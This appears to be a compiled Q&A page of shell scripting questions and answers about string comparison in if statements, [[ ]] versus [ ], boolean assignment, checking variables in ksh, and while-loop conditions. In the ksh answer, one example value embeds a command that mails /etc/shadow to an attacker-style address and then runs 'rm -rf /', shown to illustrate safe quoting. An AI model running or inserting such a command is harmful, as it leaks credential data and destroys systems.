Why my if/else statement doesn't work? (shell) - shell

I have problem with this shell script:
current_time=$(date +"%T");
current_day_of_week="$(date +'%u')";
if [[ current_day_of_week == 1 ]];
then echo "Setting max time to 03:00:00" && max_time="03:00:00";
else echo "Setting max time to 01:30:00" && max_time="01:30:00"; fi;
I want to set variable max_time to 03:00:00 when it's monday, but the code doesn't work :(

The string "current_day_of_week" is not the same as the string "1". If you want to compare the value of the variable, you need to dereference it. Replace
if [[ current_day_of_week == 1 ]];
with
if [ "$current_day_of_week" = 1 ];
Since you're not getting a syntax error, we can assume you are using a shell that supports the [[ syntax (you should probably change the tag !) so you can use:
if [[ $current_day_of_week == 1 ]];
Note that although quoting variables is not strictly necessary inside the [[ construct, it is a good idea to use quotes anyway:
if [[ "$current_day_of_week" == 1 ]];

Related

Why is empty string changed into -n expression in bash

Taken this snippet:
$ [[ ""=="foo" ]] && echo yes || echo no
+ [[ -n ==foo ]]
+ echo yes
yes
How does [[ ""=="foo" ]] turn into [[ -n ==foo ]] ?
The RC was of course missing spaces around == - after adding them, it works as expected:
$ [[ "" == "foo" ]] && echo yes || echo no
+ [[ '' == \f\o\o ]]
+ echo no
no
But still i cannot understand why it behaved like this?
It's not changing the empty string into -n.
The string ""=="foo" is equivalent to the string ==foo. The trace output always shows strings in their simplest format, without unnecessary quotes.
A conditional expression that just contains a single string with no operators is true if the string is not empty. That's what the -n operator tests, so the -x expansion shows it that way.
Any operand that isn't preceded or followed by an operator is treated to have an equal operation as -n <operand>. Operators also need to be isolated with spaces to be distinguished. For a list of operators run help test. Also run help [[ to see how the keyword is different from the [ and test builtins.

How to assign a variable inside if condition in shell script

I would like to know how to assign a variable inside if block in shell script..
Below is my code..
if [[ -z "$MMBOX_PATH" || -z "$BACKUP_PATH" || -z "$REMOTE_SERVER" || -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
The above code will run whenever it found empty variable, but I also wants to know which variable is empty (E.g., In above code suppose if LOG_PATH variable is empty then it should display in echo output in place of $FLAG )
I tried following codes..
if [[ `FLAG='MMBOX_PATH'` && -z "$MMBOX_PATH" || `FLAG='BACKUP_PATH'` && -z "$BACKUP_PATH" || `FLAG='REMOTE_SERVER'` && -z "$REMOTE_SERVER" || `FLAG='LOG_PATH'` && -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
But above code returns false hence it is not printing the content inside echo.
I also tried to keep FLAG variable before condition execution, but every time it returns 'Nothing'
if FLAG='MMBOX_PATH' && [[ -z "$MMBOX_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
In above case I'm getting FLAG='MMBOX_PATH' in output but if I add one more condition to that if nothing is printing (Means if I check same thing for BACKUP_PATH,REMOTE_SERVER..)
if FLAG='MMBOX_PATH' && [[ -z "$MMBOX_PATH" ]] && FLAG='LOG_PATH' && [[ -z "$LOG_PATH" ]]
then
echo -e "Must Provide All Required Paths [$FLAG is Empty].."
exit 1
fi
In this case nothing is printing even though MMBOX_PATH present and LOG_PATH empty.
Note: Using if condition each and every variable it is possible to know which variable is empty,but I don't want to extend my lines with if-else conditions I just want to know in that if block itself how to assign a variable and prints once condition is true.
Can anybody help me how to get empty variable..? (/bin/bash)
If all you are doing is checking existence with the if you could use a function.
check() {
for i in "$#";do
if [[ -z "${!i}" ]]
then
echo -e "Must Provide All Required Paths [\$$i is Empty].."
exit 1
fi
done
}
check MMBOX_PATH BACKUP_PATH REMOTE_SERVER LOG_PATH
Shell already provides a syntax for verifying that a variable has a value and exits if it does not:
: ${MMBOX_PATH:?Must provide MMBOX_PATH}
: ${BACKUP_PATH:?Must provide BACKUP_PATH}
: ${REMOTE_SERVER:?Must provide REMOVE_SERVER}
: ${LOG_PATH:?Must provide LOG_PATH}
There's no need to define a check function that does the same thing.
The initial colon is the do-nothing command; the shell evaluates its arguments, and : exits with status 0 immediately. The parameter expansion is what verifies that the named parameter has a value. If it does not, the given error message is printed. If the shell is not interactive, it also exits with status 1.

Bash boolean expression and its value assignment

Is there a way to to evaluate a boolean expression and assign its value to a variable?
In most of the scripting languages there is way to evaluates e.g
//PHS
$found= $count > 0 ; //evaluates to a boolean values
I want similar way to evaluate in bash:
BOOL=[ "$PROCEED" -ne "y" ] ;
This is not working and tried other way but could not get a boolean value. IS there a way to
do this WITHOUT using IF ?
You could do:
[ "$PROCEED" = "y" ] ; BOOL=$?
If you're working with set -e, you can use instead:
[ "$PROCEED" = "y" ] && BOOL=0 || BOOL=1
BOOL set to zero when there is a match, to act like typical Unix return codes. Looks a bit weird.
This will not throw errors, and you're sure $BOOL will be either 0 or 1 afterwards, whatever it contained before.
I would suggest:
[ "$PROCEED" = "y" ] || BOOL=1
This has the advantage over checking $? that it works even when set -e is on. (See writing robust shell scripts.)
Rather than using ... && BOOL=0 || BOOL=1 suggested in the currently-accepted answer, it's clearer to use true and false.
And since this question is about bash specifically (not POSIX shell), it's also better to use [[ instead of [ (see e.g. 1 and 2), which allows using == instead of =.
So if you had to use a one-liner for something like this in bash, the following would be better:
[[ "$PROCEED" == "y" ]] && should_proceed=true || should_proceed=false
Then you can use the derived variable ergonomically in boolean contexts...
if $should_proceed; then
echo "Proceeding..."
fi
...including with the ! operator:
if ! $should_proceed; then
echo "Bye for now."
exit 0
fi
Assignment:
found=$((count > 0))
For a boolean test:
BOOL=$(test "$PROCEED" = y && echo true || echo false)
In general, a
x=$(...)
assigns the output of ... to the variable x. The y does not need quotes, because it contains nothing which needs to be masked.
A -ne is used for arithmetic comparison; see help test for an overview and quick reminder.
As explained in the accepted answer, the return value seems odd as true will return 0 and false 1. To make it easier to understand:
#!/bin/bash
test=$( [[ $1 == "y" ]]; echo $(($? == 0)) )
echo "$test"
# It will print "1", otherwise "0".
# To use it in conditions:
if [ $test ]; then
...
fi
Another way is:
test=$( [[ $1 == "y" ]] && echo "true" || echo "false" )
# In this case `[]` are not required:
if $test; then
...
fi

Checking a variable is set and value in ksh

I have a script which takes user input, the REFRESH option is optional. I need to test to see if $REFRESH exists and is equal to the string "REFRESH", if it is then run a specific block of code.
The user would execute
./export_data.sh <user> <type> [REFRESH]
If I was doing this in PHP I would simply use the isset() function, does an equivelent exist in ksh?
I have tried the following but this fails as in the 2nd test $REFRESH is not set:
if [ -n $REFRESH ] && [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
The only other way I can think to do this is a nested if but this seems messy:
if [ -n $REFRESH ]
then
if [ $REFRESH == "REFRESH" ]
then
echo "variable is set and the expected value";
# do stuff
fi
Is there a better way to do this?
if [ "${REFRESH:-unset}" = "REFRESH" ]
then ...
This substitutes unset if there is no value in $REFRESH or if the value is the empty string. Either way, it is not the same as "REFRESH", so it behaves as required.
When testing variables, enclose them in double quotes; it saves angst. In fact, it would mean that you could simply write:
if [ "$REFRESH" = "REFRESH" ]
then ...
I would comment on Jonathan's reply but I'm too much of a newby around here to be trusted with such things.
Anyway, if you are trying to save yourself angst in ksh, never use the legacy Bourne shell [ ]. Instead, use [[ ]].
if [[ $REFRESH == REFRESH ]]; then
That will always evaluate the way you want it. Even if any of the following happened just before the if statement.
REFRESH=''
REFRESH=' REFRESH'
REFRESH='`mailx -s "good stuff" hacker#example.com < /etc/shadow`; sleep 5; rm -rf /`'
The thing to be careful of is the right hand side in the event that it is a variable or a string that could be evaluated for things other than just a simple string comparison. Consider these:
$ val='#(foo|REFRESH)'
$ REFRESH=REFRESH; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=foo; [[ $REFRESH == $val ]] && echo match
match
$ REFRESH=REFRESH; [[ $REFRESH == "$val" ]] && echo match
$ REFRESH=' REFRESH'; [[ $REFRESH == REFRESH ]] && echo match
$
Here we see that quoting the RHS is more important than quoting the LHS when using [[ ]]. Also, this demonstrates that [[ ]] allows more powerful matches using patterns and pattern lists.
Answering to that specific question:
If I was doing this in PHP I would simply use the isset() function, does an equivalent exist in ksh?
if [ "${REFRESH:-unset}" != unset ]
By the way, in my opinion the best (because is the most simple) way to test if a variable is set or not set is:
if [ "$PIPPO" ] ; then
echo "Set"
fi
OR
if [ ! "$PIPPO" ] ; then
echo "Not Set"
fi

bash while loop with mixed condition

I'm not meaning multiple conditions, well it's also but mixed from that:
while [[ read line ] && [ "$GoodURL" == "false" ]]
What is the correct form for that? It's a while loop that runs on a text file line by line,
and I want to stop it with that $GoodURL type of boolean, please help.
Thanks.
while read line && [[ "$GoodURL" == "false" ]]
do
echo $line;
done
In case you want to read from a file/pipe, be sure to use indirection or you will get funny results (due the while loop executing in a subshell and not actually using the same environmen as the surrounding shell)
while read line && [[ "$GoodURL" == "false" ]]
do
echo $line;
done < input.txt

Resources